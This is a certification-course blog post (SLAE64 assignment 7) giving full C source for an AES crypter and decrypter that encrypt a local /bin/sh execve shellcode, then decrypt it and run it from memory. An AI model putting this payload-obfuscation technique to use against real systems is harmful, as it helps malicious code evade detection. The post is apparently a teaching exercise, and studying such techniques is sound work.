SLAE64 – Assignment #7 – Custom Shellcode Crypter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #7

The aim of this assignment is to create a custom crypter for shellcodes.

Crypter

I’ve chose to use the AES encryption using mcrypt library (apt-get install libmcrypt-dev)

https://gist.github.com/bricef/2436364

1) First you need to dump the shellcode opcodes :

for i in $(objdump -d Execve-Stack |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

2) Then put these opcodes into the crypter code

unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

3) Then, compile crypter (don’t forget the -lmcrypt option) :

gcc aes-shellcode-crypter.c -lmcrypt -o aes-shellcode-crypter

4) Finally, encrypt the shellcode using a symetric key and get the encrypted shellcode

./aes-shellcode-crypter "0123456789abcdef"

Decrypter

1) Put the encrypted opcodes into the decrypter :

unsigned char encrypted_shellcode[] = "\xca\x8a\x85\xae\xb4\x1c\xe4\x8d\x99\x24\xd0\x09\xaf\x56\x4b\x54\x1d\xb0\xce\xa5\xc0\xe3\x99\x4d\x31\x5a\x2d\x28\xed\x1e\x9a\x28";

2) Compile the decrypter

gcc -fno-stack-protector -z execstack -lmcrypt aes-shellcode-decrypter.c -o aes-shellcode-decrypter

3) Decrypt and run the shellcode by using the same symetric key :

./aes-shellcode-decrypter "0123456789abcdef"

Full source code is available here and on my Github account.

aes-shellcode-crypter.c

/*
 * Compile : gcc aes-shellcode-crypter.c -lmcrypt -o aes-shellcode-crypter
 *
 * Author : SLAE64-PA-6470 (kahlon81)
 * Date : 2018/02/21
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>

#include <math.h>
#include <stdint.h>
#include <stdlib.h>

int encrypt(
    void* buffer,
    int buffer_len, /* Because the plaintext could include null bytes*/
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mcrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

int decrypt(
    void* buffer,
    int buffer_len,
    char* IV, 
    char* key,
    int key_len 
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

void display_hex(char* cipher, int len) {
  int v;
  for (v=0; v<len; v++)
    //printf("\\x%2hhX", cipher[v]);
    printf("\\x%02x", cipher[v] & 0xff);
  printf("\n");
}

int main(int argc, char **argv)
{
  MCRYPT td, td2;
  unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
  unsigned char *plaintext = shellcode;
  char* IV = "AAAAAAAAAAAAAAAA";
  char* buffer;
  int buffer_len = strlen(plaintext);

  // check param
  if (argc != 2) {
    printf("Usage : ./aes-shellcode-crypter <128 bits encryption key>\n");
    printf("Example : ./aes-shellcode-crypter 0123456789abcdef\n");
    exit(-1);
  }

  // input key
  char *key = (char *)argv[1];
  int keysize = strlen(key);

  buffer = calloc(1, buffer_len);
  strncpy(buffer, plaintext, buffer_len);

  printf("plain size=%d:\n", strlen(plaintext));
  display_hex(plaintext, strlen(plaintext));

  encrypt(buffer, buffer_len, IV, key, keysize); 

  printf("cipher size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  decrypt(buffer, buffer_len, IV, key, keysize);

  printf("decrypt size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  return 0;
}

aes-shellcode-decrypter.c

/*
 * Compile : gcc -fno-stack-protector -z execstack -lmcrypt aes-shellcode-decrypter.c -o aes-shellcode-decrypter
 *
 * Author : SLAE64-PA-6470 (kahlon81)
 * Date : 2018/02/21
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>

#include <math.h>
#include <stdint.h>
#include <stdlib.h>

int encrypt(
    void* buffer,
    int buffer_len, /* Because the plaintext could include null bytes*/
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mcrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

int decrypt(
    void* buffer,
    int buffer_len,
    char* IV, 
    char* key,
    int key_len 
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

void display_hex(char* cipher, int len) {
  int v;
  for (v=0; v<len; v++)
    //printf("\\x%2hhX", cipher[v]);
    printf("\\x%02x", cipher[v] & 0xff);
  printf("\n");
}

int main(int argc, char **argv)
{
  MCRYPT td, td2;
  unsigned char encrypted_shellcode[] = "\xca\x8a\x85\xae\xb4\x1c\xe4\x8d\x99\x24\xd0\x09\xaf\x56\x4b\x54\x1d\xb0\xce\xa5\xc0\xe3\x99\x4d\x31\x5a\x2d\x28\xed\x1e\x9a\x28";
  unsigned char *encrypted = encrypted_shellcode;
  char* IV = "AAAAAAAAAAAAAAAA";
  char* buffer;
  int buffer_len = strlen(encrypted);
  int (*sc)();

  // check param
  if (argc != 2) {
    printf("Usage : ./aes-shellcode-decrypter <128 bits encryption key>\n");
    printf("Example : ./aes-shellcode-decrypter 0123456789abcdef\n");
    exit(-1);
  }

  // input key
  char *key = (char *)argv[1];
  int keysize = strlen(key);

  printf("encrypt size=%d:\n", strlen(encrypted));
  display_hex(encrypted, strlen(encrypted));

  buffer = calloc(1, buffer_len);
  strncpy(buffer, encrypted, buffer_len);

  decrypt(buffer, buffer_len, IV, key, keysize);

  printf("decrypt size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  sc = (int(*)())buffer;
  sc();

  return 0;
}